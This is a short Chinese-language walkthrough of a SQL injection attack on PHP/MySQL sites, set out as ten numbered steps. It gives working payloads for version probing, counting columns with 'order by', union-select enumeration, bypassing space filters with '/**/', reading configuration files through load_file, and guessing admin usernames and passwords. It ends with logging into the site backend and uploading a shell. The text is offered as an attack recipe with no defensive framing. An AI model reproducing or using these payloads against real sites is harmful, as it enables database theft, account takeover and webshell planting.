SQL注入步骤
通常PHP注入的步骤如下: 1)先查看是否存在漏洞。 2)判断版本号以决定是否可以用union连接,and ord(mid(version(),1,1))>51。 3)利用order by 暴字段,在网址后加 order by 10,如果返回正常说明字段大于10。 4)再利用union来查询准确字段,如: and 1=2 union select 1,2,3,.......直到返回正常,说明猜到准确字段数。如过滤了空格可以用'/**/'代替。 5)判断数据库连接帐号有没有写权限,and (select count(*) from mysql.user)>0,如果结果返回错误,那我们只能猜解管理员帐号和密码了。 6)如果返回正常,则可以通过and 1=2 union select 1,2,3,4,5,6,load_file(char(文件路径的ascii值,用逗号隔开)),8,9,10 ,load_file(char(文件路径的ascii值,用逗号隔开))也可以用十六进制,通过这种方式读取配置文件,找到数据库连接等。 7)首先猜解user表,如: and 1=2 union select 1,2,3,4,5,6.... from user,如果返回正常,说明存在这个表。 8)知道了表就猜解字段,and 1=2 union select 1,username,3,4,5,6.... from user,如果在2字段显示出字段内容则存在些字段。 9)同理再猜解password字段,猜解成功再找后台登录。 10)登录后台,上传shell